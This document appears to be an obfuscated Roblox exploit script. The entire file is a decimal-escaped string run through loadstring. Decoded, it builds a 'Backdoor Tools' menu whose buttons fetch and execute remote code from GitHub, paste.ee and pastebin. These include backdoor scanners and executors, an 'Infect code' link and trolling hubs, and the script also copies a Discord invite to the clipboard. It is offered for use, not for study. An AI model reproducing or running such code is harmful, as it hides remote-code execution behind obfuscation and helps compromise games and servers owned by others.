loadstring("\115\101\116\99\108\105\112\98\111\97\114\100\40\39\100\105\115\99\111\114\100\46\103\103\47\75\71\87\75\65\87\87\81\90\90\32\123\98\101\115\116\32\115\101\114\118\101\114\32\100\105\115\99\111\114\100\32\102\111\114\32\98\97\99\107\100\111\111\114\32\103\97\109\101\115\32\97\110\100\32\109\111\114\101\46\46\46\125\32\39\41\10\10\108\111\99\97\108\32\76\105\98\114\97\114\121\32\61\32\108\111\97\100\115\116\114\105\110\103\40\71\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\98\108\111\111\100\98\97\108\108\47\45\98\97\99\107\45\117\112\115\45\102\111\114\45\108\105\98\115\47\109\97\105\110\47\119\105\122\97\114\100\34\41\41\40\41\10\10\108\111\99\97\108\32\80\104\97\110\116\111\109\70\111\114\99\101\115\87\105\110\100\111\119\32\61\32\76\105\98\114\97\114\121\58\78\101\119\87\105\110\100\111\119\40\34\66\97\99\107\100\111\111\114\32\84\111\111\108\115\34\41\10\10\108\111\99\97\108\32\75\105\108\108\105\110\103\67\104\101\97\116\115\32\61\32\80\104\97\110\116\111\109\70\111\114\99\101\115\87\105\110\100\111\119\58\78\101\119\83\101\99\116\105\111\110\40\34\66\97\99\107\100\111\111\114\32\83\99\97\110\110\101\114\34\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\76\65\76\79\76\32\104\117\98\32\45\79\114\105\103\105\110\97\108\45\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\39\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\73\116\115\45\76\65\76\79\76\47\76\65\76\79\76\45\72\117\98\47\109\97\105\110\47\66\97\99\107\100\111\111\114\45\83\99\97\110\110\101\114\47\115\99\114\105\112\116\39\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\66\97\99\107\100\111\111\114\32\76\101\103\97\99\121\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\73\118\97\110\84\104\101\80\114\111\116\111\103\101\110\47\66\97\99\107\100\111\111\114\76\101\103\97\99\121\47\109\97\105\110\47\109\97\105\110\46\108\117\97\34\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\66\97\99\107\100\111\111\114\46\101\120\101\32\118\54\120\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\105\75\52\111\83\47\98\97\99\107\100\111\111\114\46\101\120\101\47\118\54\120\47\115\111\117\114\99\101\46\108\117\97\34\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\66\97\99\107\100\111\111\114\46\101\120\101\32\118\56\46\48\46\48\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\39\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\105\75\52\111\83\47\98\97\99\107\100\111\111\114\46\101\120\101\47\109\97\115\116\101\114\47\115\111\117\114\99\101\46\108\117\97\39\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\84\78\84\32\109\97\115\116\101\114\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\121\111\102\114\105\101\110\100\102\114\111\109\115\99\104\111\111\108\49\47\83\107\121\45\72\117\98\45\66\97\99\107\117\112\47\109\97\105\110\47\70\69\47\66\97\99\107\68\111\111\114\47\116\110\116\109\97\115\116\101\114\115\115\46\116\120\116\34\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\77\105\99\114\111\32\98\97\99\107\100\111\111\114\32\40\73\32\103\117\101\115\115\32\116\104\105\115\32\110\97\109\101\41\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\112\97\115\116\101\46\101\101\47\114\47\49\70\67\50\78\34\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\76\65\76\79\76\32\104\117\98\32\45\87\105\116\104\111\117\116\32\104\105\110\116\45\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\34\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\79\98\117\110\103\97\45\54\54\54\47\76\97\108\111\108\45\104\117\98\45\119\105\116\104\111\117\116\45\104\105\110\116\47\114\101\102\115\47\104\101\97\100\115\47\109\97\105\110\47\76\97\108\111\108\37\50\48\104\117\98\37\50\48\119\105\116\104\111\117\116\37\50\48\104\105\110\116\34\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\106\76\110\48\110\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\65\115\121\110\99\40\34\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\106\76\110\48\110\47\115\99\114\105\112\116\115\47\109\97\105\110\47\98\97\99\107\100\111\111\114\45\101\120\101\99\117\116\111\114\47\98\97\99\107\100\111\111\114\45\101\120\101\99\117\116\111\114\46\108\117\97\34\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\69\120\83\101\114\32\40\66\97\115\101\100\32\119\101\98\41\34\44\32\102\117\110\99\116\105\111\110\40\41\10\115\101\116\99\108\105\112\98\111\97\114\100\40\39\104\116\116\112\115\58\47\47\112\97\115\116\101\98\105\110\46\99\111\109\47\114\97\119\47\74\97\112\98\110\83\89\70\32\60\80\108\115\32\111\112\101\110\32\116\104\105\115\32\108\105\110\107\62\39\41\10\101\110\100\41\10\10\108\111\99\97\108\32\75\105\108\108\105\110\103\67\104\101\97\116\115\32\61\32\80\104\97\110\116\111\109\70\111\114\99\101\115\87\105\110\100\111\119\58\78\101\119\83\101\99\116\105\111\110\40\34\73\110\102\101\99\116\32\99\111\100\101\34\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\73\110\102\101\99\116\32\99\111\100\101\34\44\32\102\117\110\99\116\105\111\110\40\41\10\115\101\116\99\108\105\112\98\111\97\114\100\40\39\104\116\116\112\115\58\47\47\112\97\115\116\101\98\105\110\46\99\111\109\47\114\97\119\47\74\97\112\98\110\83\89\70\32\60\80\108\115\32\111\112\101\110\32\116\104\105\115\32\108\105\110\107\62\39\41\10\101\110\100\41\10\10\108\111\99\97\108\32\75\105\108\108\105\110\103\67\104\101\97\116\115\32\61\32\80\104\97\110\116\111\109\70\111\114\99\101\115\87\105\110\100\111\119\58\78\101\119\83\101\99\116\105\111\110\40\34\79\116\104\101\114\46\46\46\34\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\70\101\32\84\114\111\108\108\105\110\103\32\104\117\98\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\39\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\121\111\102\114\105\101\110\100\102\114\111\109\115\99\104\111\111\108\49\47\83\107\121\45\72\117\98\47\109\97\105\110\47\70\69\37\50\48\84\114\111\108\108\105\110\103\37\50\48\71\85\73\46\108\117\97\117\39\41\41\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\73\110\102\105\110\105\116\101\32\121\105\101\108\100\34\44\32\102\117\110\99\116\105\111\110\40\41\10\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\39\104\116\116\112\115\58\47\47\114\97\119\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\69\100\103\101\73\89\47\105\110\102\105\110\105\116\101\121\105\101\108\100\47\109\97\115\116\101\114\47\115\111\117\114\99\101\39\41\41\40\41\10\101\110\100\41\10\10\108\111\99\97\108\32\75\105\108\108\105\110\103\67\104\101\97\116\115\32\61\32\80\104\97\110\116\111\109\70\111\114\99\101\115\87\105\110\100\111\119\58\78\101\119\83\101\99\116\105\111\110\40\34\76\111\103\115\34\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\85\112\100\97\116\101\100\32\103\117\105\34\44\32\102\117\110\99\116\105\111\110\40\41\10\101\110\100\41\10\10\75\105\108\108\105\110\103\67\104\101\97\116\115\58\67\114\101\97\116\101\66\117\116\116\111\110\40\34\65\100\100\101\100\32\115\111\109\101\32\115\99\114\105\112\116\34\44\32\102\117\110\99\116\105\111\110\40\41\10\101\110\100\41")()